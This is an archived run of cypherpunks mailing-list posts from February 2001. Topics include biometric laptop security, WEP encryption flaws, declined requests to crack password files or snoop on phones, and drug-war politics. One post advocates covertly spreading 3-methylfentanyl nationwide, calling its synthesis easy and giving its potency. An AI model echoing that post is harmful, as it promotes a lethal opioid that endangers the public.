From: ech0mega at rlc.net (POF)
Date: Mon, 05 Feb 2001 09:39:33 -0500
Subject: CNN.com - Technology - New notebooks offer biometric
  protection - February 2, 2001
In-Reply-To: <3A7EA675.B6208061@ssz.com>
Message-ID: <3.0.6.32.20010205093933.007c8520@192.168.0.1>



Thanks for the article, but i have some questions/comments that perhaps
require some clearing up.... even if it were in perfect working order, this
technology sounds to me like another coup for crypto... what i mean is,
simply, bits are bits, and the data on the drive could be read in a part by
part basis (perhaps i don't have the vocabulary for this, but the idea is
here).... sorta like "ta hell with the security, if i just take the drive,
or the platter even i can just read it raw and then all i have to contend
with is the encryption"

well, sorry for my ignorance... perhaps you could clear it up if needed :)

-stempleton.


At 07:11 AM 2/5/01 -0600, you wrote:
>
>http://www.cnn.com/2001/TECH/computing/02/02/biometric.security.idg/index.h
tml
>-- 
>    ____________________________________________________________________
>
>           Before a larger group can see the virtue of an idea, a
>           smaller group must first understand it.
>
>                                           "Stranger Suns"
>                                           George Zebrowski
>
>       The Armadillo Group       ,::////;::-.          James Choate
>       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>       www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                           -====~~mm-'`-```-mm --'-
>    --------------------------------------------------------------------
>
>
>




From declan at well.com  Mon Feb  5 06:48:51 2001
From: declan at well.com (Declan McCullagh)
Date: Mon, 5 Feb 2001 09:48:51 -0500
Subject: The Register - There are still crypto reg's...
In-Reply-To: <Pine.LNX.4.21.0102011537290.22389-100000@bolt.sonic.net>; from bear@sonic.net on Thu, Feb 01, 2001 at 04:08:16PM -0800
References: <PHEOLKHKKADCALFJMBNIKEMCCDAA.pzakas@toucancapital.com> <Pine.LNX.4.21.0102011537290.22389-100000@bolt.sonic.net>
Message-ID: <20010205094851.B19398@cluebot.com>


On Thu, Feb 01, 2001 at 04:08:16PM -0800, Ray Dillinger wrote:
> ObCryptoStuff; this same kind of "critical mass" phenomenon 
> affects lots and lots of the stuff we're looking at.  Freenet, 
> Mojo Nation, Napster, Gnutella, Digital Cash, etc, even PGP and 
> GPG - All have a value that depends directly on how many other 
> people are using them. If they don't grow beyond a certain 
> threshold size, they remain less useful than the disk space they 
> occupy.  But where is the threshold and when is it passed? 

This is a close cousin of what economists call network effects. As 
an area of study, it has received fairly extensive scrutiny.

Me, I like what Stan Liebowitz and Stephen Margolis have written
about temporary monopolies.

More on both subjects:
http://www.politechbot.com/p-00607.html

-Declan




From bf at mindspring.com  Mon Feb  5 10:31:57 2001
From: bf at mindspring.com (Blank Frank)
Date: Mon, 05 Feb 2001 10:31:57 -0800
Subject: anonymity
Message-ID: <3A7EF19D.9B8D4E22@mindspring.com>



It proved that, in an electronic age, all
              communications were traceable and
              attributable, Mrs Bowman said in a
              statement.

.........


Bush alert over pupil's prank

              The threats to George W Bush prompted a major
              alert
              A UK schoolboy sparked an international
              security alert after he sent an e-mail to the
              White House, threatening to kill United
              States President George W Bush.

              The 14-year-old pupil at Blake High School
              in Cannock, Staffordshire sent the threats
              from a school computer.

              He was investigated and interviewed by the
              Special Branch, after the e-mail was
              intercepted by the US Central Intelligence
              Agency.

              The teenager, whose name has not been
              disclosed, was not suspended, but was
              severely reprimanded by the police and
              school authorities.

              A spokesman for Staffordshire County
              Council said the e-mail was sent in
              November last year, at the time of the US
              elections.

              'Several involved'

              "Several boys were involved in this, but
              only one was reprimanded by police
              officers who went to his home," the
              spokesman said.

              The council was in the process of drawing
              up guidelines for schools on internet
              security measures, he said.

              "We hope to keep incidents like this to a
              minimum in the future," he added.

              The school's head teacher, Heather
              Bowman, described the incident as "a
              thoughtless prank".

              It proved that, in an electronic age, all
              communications were traceable and
              attributable, Mrs Bowman said in a
              statement.

              "The school is well aware of its
              responsibilities and has good monitoring
              and security systems in place, which are
              constantly being updated," she added.


http://news.bbc.co.uk/hi/english/education/newsid_1153000/1153922.stm







From freematt at coil.com  Mon Feb  5 07:55:35 2001
From: freematt at coil.com (Matthew Gaylor)
Date: Mon, 5 Feb 2001 10:55:35 -0500
Subject: War On Drugs Targets Tech
In-Reply-To: <Pine.LNX.4.21.0102031855440.29910-100000@bolt.sonic.net>
References: <Pine.LNX.4.21.0102031855440.29910-100000@bolt.sonic.net>
Message-ID: <v04220800b6a47ae406db@[198.4.94.211]>


Ray Dillinger <bear at sonic.net> wrote:
>Drugs will never be legalized in the United States.  We've been
>focusing on legislators, but the problem is even more basic than
>that: The Mafiosi and the gangsters won't allow it.
>
>They can't make the kind of profit margins they're accustomed to
>when legal suppliers can produce coke for $6 an ounce or Marijuana
>for $1.50 a 40-pound bale.

Never say never, especially since drugs had been legal in the United 
States.  Prior to passage of the Harrison Act in 1914 drugs like 
cocaine were widely available at any general stores or pharmacy.  And 
such drugs could be purchased by anyone, including children. 
Marijuana was criminalized in 1937.

BTW, cocaine is produced legally in some areas (It is used for dental 
procedures in some nations) and the price hovers around  $10-14 (US) 
for a kilo.
Incidentally, in the cocaine producing areas such as Columbia and 
northern Ecuador you can purchase a single kilo of refined cocaine 
for around $100 (US).

Regards,  Matt-


**************************************************************************
Subscribe to Freematt's Alerts: Pro-Individual Rights Issues
Send a blank message to: freematt at coil.com with the words subscribe FA
on the subject line. List is private and moderated (7-30 messages per month)
Matthew Gaylor, 2175 Bayfield Drive, Columbus, OH 43229
(614) 313-5722     Archived at http://groups.yahoo.com/group/fa/
**************************************************************************




From jchoate at dev.tivoli.com  Mon Feb  5 09:06:28 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Mon, 05 Feb 2001 11:06:28 -0600
Subject: kuro5hin.org || Strategic Government.
Message-ID: <3A7EDD94.C861449B@dev.tivoli.com>


http://www.Kuro5hin.org/?op=displaystory;sid=2001/2/4/62459/14023
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From k.brown at ccs.bbk.ac.uk  Mon Feb  5 03:10:49 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Mon, 05 Feb 2001 11:10:49 +0000
Subject: War On Drugs Targets Tech
References: <Pine.LNX.4.21.0102031855440.29910-100000@bolt.sonic.net>
Message-ID: <3A7E8A39.86C9D6FA@ccs.bbk.ac.uk>


Don't forget the lawyers & accountants. That's the real way to make
money out of crime - work for the criminals in a legitimate job.

Ken

Ray Dillinger wrote:
> 
> Drugs will never be legalized in the United States.  We've been
> focusing on legislators, but the problem is even more basic than
> that: The Mafiosi and the gangsters won't allow it.
> 
> They can't make the kind of profit margins they're accustomed to
> when legal suppliers can produce coke for $6 an ounce or Marijuana
> for $1.50 a 40-pound bale.
> 
> So look for major contributions to the campaign funds of drug
> warriors if it ever looks like their cash cow is in danger.
> 
> Note:  This assumes that gangsters are not stupid - which is
> definitely *NOT* in evidence, so I could be wrong about this;
> but it is certainly true that life would suck for them if drugs
> were legalized.
> 
>                                 Bear




From k.brown at ccs.bbk.ac.uk  Mon Feb  5 03:14:21 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Mon, 05 Feb 2001 11:14:21 +0000
Subject: Mobile Phones
References: <000a01c08d51$ab31aa00$caa4893e@r4j7y7>
Message-ID: <3A7E8B0D.C68909E3@ccs.bbk.ac.uk>


Yes of course. Call them and ask them for the number you want.

> Carl Barraclough wrote:
> 
> Is it possible to access the contents of somebody's mobile phone
> phonebook over the air without actually touching their phone or
> cloning it?
> 
> Please reply to me at carl at carl57.fsnet.co.uk

Oh... you meant without them knowing? Like, illegally & dishonestly?
Like you want to grow up to be a spy?

Search the net for everything ever written by Ross Anderson. Read it.
When you fail to understand it go to college & study maths & computing.
When you know enough to understand what he's talking about you will (a)
be able to hack mobile phones, with some expenditure on equipment and a
small risk to your freedom should the police notice and (b) have grown
up a little & acquired a good enough education so you should be able to
get a decent job which will keep you busy enough to stop hassling this
list with silly questions.

Yours, pompously, Ken Brown.




From abuse at microsoft.com  Mon Feb  5 12:24:55 2001
From: abuse at microsoft.com (Abuse at Microsoft)
Date: Mon, 05 Feb 2001 12:24:55 -0800
Subject: Blank Frank and Lori Banks
Message-ID: <200102052047.OAA04514@einstein.ssz.com>


Hello,

Thank you for contacting Microsoft.
 
I regret that you are receiving unwanted communication from this sender,
and understand how this can be a frustrating experience. The e-mail 
address you contacted is primarily intended for the reporting of abusive
traffic coming from Microsoft's networks. Although your issue doesn't 
appear to involve Microsoft directly, I have taken the liberty of 
providing the following resources:

If you are receiving unwanted e-mail messages, you may consider using an
e-mail filter or spam reporting service. Information on spam can be 
found at the following web sites:
http://www.abuse.net
http://www.spam.abuse.net

If you want to identify the sender of an offending message, you may be 
able to do so through one of the following web sites:
http://visualroute.datametrics.com
http://swhois.net

If you want to report an abusive Hotmail user, please send e-mail to 
abuse at hotmail.com.

If you want to report an abusive WebTV user or WebTV spam, please send 
e-mail to abuse at webtv.net. 

If you want to report an abusive MSN user, please submit feedback at the
following web site: 
http://memberservices.msn.com/us/default_feedback.asp.

If you are receiving unwanted newsletters from Microsoft.com, you may 
unsubscribe by going to http://register.microsoft.com/regsys/pic.asp. 
After you have signed in, click "Newsletters Subscribe/Unsubscribe" and 
follow the directions to unsubscribe. If you have difficulties, please 
send a copy of the offending newsletter to feedback at microsoft.com so 
that we can update the record on your behalf. 

If you want to report spam sent to a Microsoft newsgroup, please send 
e-mail to webmaster at microsoft.com. 

I sincerely hope this information is helpful to you. 

If you have any additional questions, please let us know by replying to 
this message.

Thank you,

Josh
Microsoft Online Customer Representative

Original Message Follows: 
-------------------------
You can always chat with MS about "fixing" the password problems.  If
your child is a minor, you've got the right to access that information
(and depending upon your state, maybe even if he isn't).
-----Original Message-----
From: Bill Stewart [mailto:bill.stewart at pobox.com]
Sent: Thursday, January 25, 2001 12:35 AM
To: Lori Banks; cypherpunks at toad.com
Subject: Re: Blank Frank and Lori Banks
At 07:51 AM 1/23/01 -0600, Lori Banks wrote:
> I just read an interesting email that you sent concerning cracking
.pwl
files.  
>I have a need to crack a .pwl file, but I don't know how to make that
program work. 
> I'm really not computer literate (if you can't tell).  
>I am a concerned parent that has stumbled upon information that is 
>not good regarding my teen and the Internet.  
>Could you help me find out what these passwords are or how to work that
program? 
> I downloaded some sort of password pwl program and it showed 17
passwords, 
>but they are encrypted. Any help would be greatly appreciated.
Thanks,
Mrs. Banks  
Mrs. Banks - Cypherpunks is a large, noisy mailing list.
In addition to talking about cryptography, privacy, and the effects
on economics and politics of being able to talk and conduct business
without government interference, and random other topics,
we end up receiving lots of mail from people pretending to be
teenagers asking us about bombs, hacking, credit cards, etc.
Some of them are clueless kiddies who think we'll tell them
how to steal stuff to make bombs so they can be rilly kewl d00ds,
some of them are annoying kiddies who've found they can stir up
lots of annoyed discussion by posting provocative or clueless questions,
and some are probably cops who think they can stir up business
by finding people doing stuff with Bombs and Computer Crime
that make good headline material.*
So don't be surprised if readers like Blank Frank take you for 
one of these three categories (start at the middle and work your way
out),
and either gives you the flames you're looking for or
the abuse you deserve if you're one of the clueless types.
Your message could be perfectly legitimate, but it's just
dripping with troll bait....  We haven't had anybody
saying their somebody's Mom who wants to break into her kid's
machine before, but hey, there's a first time for everything.
On the other hand, many of us were once teenagers who had
parents who didn't understand us (what a surprise, eh?)
and a request saying "I don't trust my kid and I want to crack
his passwords to spy on him" isn't guaranteed to get more
sympathy for you than for your kid.
Anyway, that being said, there are only a few reasons for having
lots of Microsoft password files around.  One is that your son has
created
lots of logins on your home computer, either for his friends to use
or because he's creating lots of different identities for himself.
The former is something you may want to talk to him about,
depending on how much control you want to have over that computer
(is it his bedroom game machine or are you running the family business
on it?)
Another is that he has logins of his own on multiple machines using
Microsoft-style logins.   That's kind of odd - is he running a bunch
of web pages on FrontPage-based servers, or is he cracking into
corporate machines?
The "17 passwords" is pretty close to a magic number, which is the
number
of "access devices" it takes for possessing stolen/cracked passwords
to become a US Federal crime.  I forget if the number is 15,
in which case by asking us to crack them you're asking us to
commit a Federal crime (remember the discussion about cops trying
to win friends and influence headlines through entrapment?),
depending on whether you have authorization to access the machines
that those passwords apply to (if you give us permission to crack the
passwords for your own machine, it's not a crime, but if they're
the passwords for your kid's publishing accounts on commercial porn
sites,
that might be criminal, and if they're for accounts your kid's
trying to break into, or if you're really the kid or a cop,
it could be criminal.)  
So if you're thinking about breaking into your kid's machine,
because you don't trust him, yes, you've got some relationship
problems you'll have to deal with.  Not much different from asking
your kid where he went and having him say "Out" - either you go
ask all the neighbors where he went because he won't tell you,
or you work on the relationship, or you hire a private detective
to track him, just as you could probably hire Access Data or somebody
to break his password files, if you were willing to risk criminality.
I'd recommend going for the relationship....
===================
*  (Perhaps some are even good cops trying to do what they think is 
their job by stopping clueless kiddies from posting dangerous inaccurate
information where more clueless kiddies will find it.  
We do have some cops and Feds on the list that are open about it, 
and they're good folks we go shooting with :-)
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639
.








From atek3 at gmx.net  Mon Feb  5 12:44:04 2001
From: atek3 at gmx.net (atek3)
Date: Mon, 5 Feb 2001 12:44:04 -0800
Subject: War On Drugs Targets Tech
Message-ID: <000a01c08fb4$630c2740$6975e5a9@Reshall.berkeley.edu>

Solution?  Fentanyl analogues.  Synthesis is not too tricky, precursors are obtainable to the determined.  3-Methyl Fentanyl is a opoid similar to Heroin only about 300 times more potent placing its activity in the 20 microgram range, one kilo, well distributed, is enough to intoxicate 50 million people!  Its so active it could be placed on blotter paper.  The cops could never stop the tide of 3 independant chemists each channeling thousands of grams of fentanyl all over the country.  The end would be a matter of time.

atek3



>From: drevil at sidereal.kz 
>Reply-To: cypherpunks at ssz.com 
>To: cypherpunks at cyberpass.net 
>Subject: CDR: Re: War On Drugs Targets Tech 
>Date: 5 Feb 2001 14:00:56 -0000 
> 
>The War on Drugs could be stopped. Think of it as a security problem. 
>The threat is "drugs are available in the US at free-market prices". 
>If there were a sucessful attack (ie, drugs became available at 
>free-market prices) the cost would be in the trillions of dollars per 
>year to the drug industry (ie, traffickers, law enforcement, military 
>anti-drug enforcement, intelligence agencies, etc). To prevent this 
>threat from happening, two things need to be done: one, drugs must be 
>stopped at the border; and two, drugs must not be produced inside the 
>US. A certain large amount of money is spent on these two security 
>policies. 
> 
>Billions of packages move in and out of the US every year. Every 
>single one of them could contain drugs. If something were done to 
>radically increase the cost of hunting for drugs in these packages, 
>the War would come to an end. Likewise, a huge amount of stuff is 
>prod

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From SimonTeller435989154 at aol.com  Mon Feb  5 12:55:27 2001
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Date: Mon, 5 Feb 2001 12:55:27
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From abuse at microsoft.com  Mon Feb  5 13:11:34 2001
From: abuse at microsoft.com (Abuse at Microsoft)
Date: Mon, 05 Feb 2001 13:11:34 -0800
Subject: Confirmation Receipt
Message-ID: <200102052118.PAA05485@einstein.ssz.com>


Thank you for contacting Microsoft. We are currently experiencing an 
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From alan at clueserver.org  Mon Feb  5 13:42:44 2001
From: alan at clueserver.org (Alan Olsen)
Date: Mon, 5 Feb 2001 13:42:44 -0800 (PST)
Subject: fast way to decode RSA encryption
In-Reply-To: <F72txc1o8yfogkJXrRj0000dcf3@hotmail.com>
Message-ID: <Pine.LNX.4.10.10102051341220.29593-100000@clueserver.org>


On Mon, 5 Feb 2001, Warren Piece wrote:

> anyone else seen this claim?
> http://www.mb.com.ph/INFO/2001-02/IT020201.asp

Yep.  Slashdot has a quote from Ron Rivest on why it is not a break or a
big deal.  (The method works, but it is *slower* than factoring.)

http://slashdot.org/article.pl?sid=01/02/05/1911258&mode=flat

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.
    "In the future, everything will have its 15 minutes of blame."




From f_maras at yahoo.com  Mon Feb  5 13:45:53 2001
From: f_maras at yahoo.com (Franck Maras)
Date: Mon, 5 Feb 2001 13:45:53 -0800 (PST)
Subject: pgp sdk
Message-ID: <20010205214553.29373.qmail@web3801.mail.yahoo.com>


hi,

I'm trying to generate key-pairs with PGP sdk, but an
error tells me I dont have enough entropy.

Could you help me with this? (code sample, advices...)

=====
/**************/
/*FRANCK MARAS*/
/**************/

__________________________________________________
Get personalized email addresses from Yahoo! Mail - only $35 
a year!  http://personal.mail.yahoo.com/




From pzakas at toucancapital.com  Mon Feb  5 10:56:53 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Mon, 5 Feb 2001 13:56:53 -0500
Subject: War On Drugs Targets Tech
In-Reply-To: <v04220800b6a47ae406db@[198.4.94.211]>
Message-ID: <PHEOLKHKKADCALFJMBNIMENHCDAA.pzakas@toucancapital.com>



well-earned levity on this topic:

Metric System Thriving In Nation's Inner Cities...
http://www.theonion.com/onion3703/metric_system_thriving.html

phillip




From drevil at sidereal.kz  Mon Feb  5 06:00:56 2001
From: drevil at sidereal.kz (drevil at sidereal.kz)
Date: 5 Feb 2001 14:00:56 -0000
Subject: War On Drugs Targets Tech
In-Reply-To: <3A7E8A39.86C9D6FA@ccs.bbk.ac.uk> (message from Ken Brown on Mon,
	05 Feb 2001 11:10:49 +0000)
References: <Pine.LNX.4.21.0102031855440.29910-100000@bolt.sonic.net> <3A7E8A39.86C9D6FA@ccs.bbk.ac.uk>
Message-ID: <20010205140056.18443.qmail@mailhost.sidereal.kz>



The War on Drugs could be stopped.  Think of it as a security problem.
The threat is "drugs are available in the US at free-market prices".
If there were a sucessful attack (ie, drugs became available at
free-market prices) the cost would be in the trillions of dollars per
year to the drug industry (ie, traffickers, law enforcement, military
anti-drug enforcement, intelligence agencies, etc).  To prevent this
threat from happening, two things need to be done: one, drugs must be
stopped at the border; and two, drugs must not be produced inside the
US.  A certain large amount of money is spent on these two security
policies.

Billions of packages move in and out of the US every year.  Every
single one of them could contain drugs.  If something were done to
radically increase the cost of hunting for drugs in these packages,
the War would come to an end.  Likewise, a huge amount of stuff is
produced, transported, and sold in the US, and if things could be done
to dramatically increase the cost of monitoring people, the war would
end.

Just some thoughts.




From ravage at einstein.ssz.com  Mon Feb  5 12:43:25 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 5 Feb 2001 14:43:25 -0600 (CST)
Subject: CNN.com - Technology - New notebooks offer biometric protection - February 2, 2001
In-Reply-To: <3.0.6.32.20010205093933.007c8520@192.168.0.1>
Message-ID: <Pine.LNX.3.96.1010205144110.356H-100000@einstein.ssz.com>



Hi,

If all you use the biometrics for is authentication then yes, physical
control of the machine will allow a bypass of the technology. However, if
you use it also for the key to the file system then it becomes much more
secure. As I understand it there is no file system level protection
offered through this technology at this time.

It is a start howerver...

On Mon, 5 Feb 2001, POF wrote:

> Thanks for the article, but i have some questions/comments that perhaps
> require some clearing up.... even if it were in perfect working order, this
> technology sounds to me like another coup for crypto... what i mean is,
> simply, bits are bits, and the data on the drive could be read in a part by
> part basis (perhaps i don't have the vocabulary for this, but the idea is
> here).... sorta like "ta hell with the security, if i just take the drive,
> or the platter even i can just read it raw and then all i have to contend
> with is the encryption"
> 
> well, sorry for my ignorance... perhaps you could clear it up if needed :)

> At 07:11 AM 2/5/01 -0600, you wrote:
> >
> >http://www.cnn.com/2001/TECH/computing/02/02/biometric.security.idg/index.h
> tml

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From freematt at coil.com  Mon Feb  5 12:23:27 2001
From: freematt at coil.com (Matthew Gaylor)
Date: Mon, 5 Feb 2001 15:23:27 -0500
Subject: War On Drugs Targets Tech
In-Reply-To: <PHEOLKHKKADCALFJMBNIMENHCDAA.pzakas@toucancapital.com>
References: <PHEOLKHKKADCALFJMBNIMENHCDAA.pzakas@toucancapital.com>
Message-ID: <v04220801b6a4bab7091c@[198.4.94.220]>


"Phillip H. Zakas" <pzakas at toucancapital.com> wrote:
>well-earned levity on this topic:
>
>Metric System Thriving In Nation's Inner Cities...
>http://www.theonion.com/onion3703/metric_system_thriving.html
>
>phillip

The Onion had a piece a couple of years ago that talked about the 
Police stopping people to search them for drugs when they see a 
Greatful Dead sticker on their car.-  A spoof that is all too real- 
The DEA along with various police training manuals mention to look at 
what kind of bumper stickers are on cars in order to know what to be 
on the lookout for.

Regards,  Matt-


**************************************************************************
Subscribe to Freematt's Alerts: Pro-Individual Rights Issues
Send a blank message to: freematt at coil.com with the words subscribe FA
on the subject line. List is private and moderated (7-30 messages per month)
Matthew Gaylor, 2175 Bayfield Drive, Columbus, OH 43229
(614) 313-5722     Archived at http://groups.yahoo.com/group/fa/
**************************************************************************




From aluger at hushmail.com  Mon Feb  5 15:28:40 2001
From: aluger at hushmail.com (aluger at hushmail.com)
Date: Mon, 5 Feb 2001 15:28:40 -0800 (PST)
Subject: URL spam
Message-ID: <200102052341.PAA19485@user1.hushmail.com>


At Mon, 05 Feb 2001 07:11:17 -0600, Jim Choate <ravage at EINSTEIN.ssz.com> 
wrote:

>http://www.cnn.com/2001/TECH/computing/02/02/biometric.security.idg/index.html

Instead of being a COMPLETE lazy ass, maybe you could copy-paste just a 
tiny excerpt from all these URLs you keep spamming us with?

From mnorton at cavern.uark.edu  Mon Feb  5 14:11:32 2001
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Mon, 5 Feb 2001 16:11:32 -0600 (CST)
Subject: anonymity
In-Reply-To: <3A7EF19D.9B8D4E22@mindspring.com>
Message-ID: <Pine.SOL.4.10.10102051609390.2793-100000@cavern.uark.edu>


Intercepted by the CIA?  Do they regularly pre-screen POTUS's
incoming international e-mail, or what?
MacN 

On Mon, 5 Feb 2001, Blank Frank wrote:

> 
> It proved that, in an electronic age, all
>               communications were traceable and
>               attributable, Mrs Bowman said in a
>               statement.
> 
> .........
> 
> 
> Bush alert over pupil's prank
> 
>               The threats to George W Bush prompted a major
>               alert
>               A UK schoolboy sparked an international
>               security alert after he sent an e-mail to the
>               White House, threatening to kill United
>               States President George W Bush.
> 
>               The 14-year-old pupil at Blake High School
>               in Cannock, Staffordshire sent the threats
>               from a school computer.
> 
>               He was investigated and interviewed by the
>               Special Branch, after the e-mail was
>               intercepted by the US Central Intelligence
>               Agency.
> 
>               The teenager, whose name has not been
>               disclosed, was not suspended, but was
>               severely reprimanded by the police and
>               school authorities.
> 
>               A spokesman for Staffordshire County
>               Council said the e-mail was sent in
>               November last year, at the time of the US
>               elections.
> 
>               'Several involved'
> 
>               "Several boys were involved in this, but
>               only one was reprimanded by police
>               officers who went to his home," the
>               spokesman said.
> 
>               The council was in the process of drawing
>               up guidelines for schools on internet
>               security measures, he said.
> 
>               "We hope to keep incidents like this to a
>               minimum in the future," he added.
> 
>               The school's head teacher, Heather
>               Bowman, described the incident as "a
>               thoughtless prank".
> 
>               It proved that, in an electronic age, all
>               communications were traceable and
>               attributable, Mrs Bowman said in a
>               statement.
> 
>               "The school is well aware of its
>               responsibilities and has good monitoring
>               and security systems in place, which are
>               constantly being updated," she added.
> 
> 
> http://news.bbc.co.uk/hi/english/education/newsid_1153000/1153922.stm
> 
> 
> 
> 
> 




From pzakas at toucancapital.com  Mon Feb  5 13:22:28 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Mon, 5 Feb 2001 16:22:28 -0500
Subject: excellent quote
In-Reply-To: <v04220801b6a4bab7091c@[198.4.94.220]>
Message-ID: <PHEOLKHKKADCALFJMBNIOENKCDAA.pzakas@toucancapital.com>



one for the quote pages...

"Advocacy and belief go hand in hand. For there can be no true freedom of
mind if thoughts are secure only when they are pent up." -- US Justice
William O. Douglas (served from 1939 - 1975 as associate justice of us
supreme court).

(quote stolen entirely from the current Cisco Packet magazine
http://www.cisco.com/warp/public/784/packet/jan01/p54-cover.html)

phillip




From ravage at einstein.ssz.com  Mon Feb  5 14:53:33 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 5 Feb 2001 16:53:33 -0600 (CST)
Subject: IEEE 802.11 WEP holes (fwd)
Message-ID: <Pine.LNX.3.96.1010205165328.356d-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Mon, 05 Feb 2001 09:35:19 -0800
From: Jurgen Botz <jurgen at botz.org>
To: cryptography at c2.net
Subject: IEEE 802.11 WEP holes

Slashdot this morning reported on a ZD-Net article at:
  http://www.zdnet.com/zdnn/stories/news/0,4586,2681947,00.html?chkpt=zdhpnews0
1
which states that there are major holes in IEEE 802.11 "WEP" encryption.

Does anyone have any more details on this?

- J|rgen







From ravage at einstein.ssz.com  Mon Feb  5 14:54:09 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Mon, 5 Feb 2001 16:54:09 -0600 (CST)
Subject: 802.11 Wired Equivalent Privacy (WEP) attacks (fwd)
Message-ID: <Pine.LNX.3.96.1010205165400.356g-100000@einstein.ssz.com>




    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------

---------- Forwarded message ----------
Date: Mon, 5 Feb 2001 13:08:04 -0500 (EST)
From: "P.J. Ponder" <ponder at freenet.tlh.fl.us>
To: cryptography at c2.net
Subject: 802.11 Wired Equivalent Privacy (WEP) attacks

as reported on Good Morning Silicon Valley:

Researchers from UC Berkeley and private security firm Zero-Knowledge
Systems have uncovered a means of disrupting the Wired Equivalent Privacy
(WEP) algorithm, an important part of the 802.11 corporate standard for
wireless computer networks. While data transmitted over these networks is
encrypted, the researchers determined that it was easy to modify 802.11
equipment to pillage that data.

http://www.isaac.cs.berkeley.edu/isaac/wep-faq.html







From pzakas at toucancapital.com  Mon Feb  5 14:08:16 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Mon, 5 Feb 2001 17:08:16 -0500
Subject: CNN.com - Technology - New notebooks offer biometric protection - February 2, 2001
In-Reply-To: <Pine.LNX.3.96.1010205144110.356H-100000@einstein.ssz.com>
Message-ID: <PHEOLKHKKADCALFJMBNIGENMCDAA.pzakas@toucancapital.com>



yes, and even if you're using a c2-compliant operating system, this type of
technology is not (as the article points out) for sensitive information.
It's great for thwarting those who go around bypassing screen saver
passwords, etc. but there really isn't a high enough confidence to store the
The Nation's Secrets.

The Nation's Secrets are reserved for off-the-shelf toshiba laptops with
removable hard drives, easily lost behind standard-issue-one-each office
copiers and subject to the tragedy of spilled coca colas and jelly donuts.
Only crack state department, CIA and department of energy personnel are even
allowed to use such equipment and the little red diskettes marked 'secret'
that go along with them.  Oh and of course only if they access AOL through
the laptops so their kids can complete their dinosaur homework assignments
("Gee dad, what's 'intel briefing 2-1-98.doc'?")

the rest of us are left to complicated systems of hardware/software
passwords, PGP and the all-powerful stress of knowing that a lost laptop
means lost bucks $$ and lost e-mail/work/writings, forcing us to pay
attention to our stuff and be careful about what we install/use on our
laptops.

phillip



-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Jim Choate
Sent: Monday, February 05, 2001 3:43 PM
To: cypherpunks at einstein.ssz.com
Subject: Re: CNN.com - Technology - New notebooks offer biometric
protection - February 2, 2001




Hi,

If all you use the biometrics for is authentication then yes, physical
control of the machine will allow a bypass of the technology. However, if
you use it also for the key to the file system then it becomes much more
secure. As I understand it there is no file system level protection
offered through this technology at this time.

It is a start howerver...

On Mon, 5 Feb 2001, POF wrote:

> Thanks for the article, but i have some questions/comments that perhaps
> require some clearing up.... even if it were in perfect working order,
this
> technology sounds to me like another coup for crypto... what i mean is,
> simply, bits are bits, and the data on the drive could be read in a part
by
> part basis (perhaps i don't have the vocabulary for this, but the idea is
> here).... sorta like "ta hell with the security, if i just take the drive,
> or the platter even i can just read it raw and then all i have to contend
> with is the encryption"
>
> well, sorry for my ignorance... perhaps you could clear it up if needed :)

> At 07:11 AM 2/5/01 -0600, you wrote:
> >
>
>http://www.cnn.com/2001/TECH/computing/02/02/biometric.security.idg/index.h
> tml

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From pzakas at toucancapital.com  Mon Feb  5 15:08:54 2001
From: pzakas at toucancapital.com (Phillip H. Zakas)
Date: Mon, 5 Feb 2001 18:08:54 -0500
Subject: anonymity
In-Reply-To: <Pine.SOL.4.10.10102051609390.2793-100000@cavern.uark.edu>
Message-ID: <PHEOLKHKKADCALFJMBNIMENNCDAA.pzakas@toucancapital.com>


doubtful.  they probably receive the email at the destination then alert the
chain-of-jurisdiction for investigation. count me as a technical skeptic of
an 'untargeted' echelon program.
phillip

-----Original Message-----
From: owner-cypherpunks at Algebra.COM
[mailto:owner-cypherpunks at Algebra.COM]On Behalf Of Mac Norton
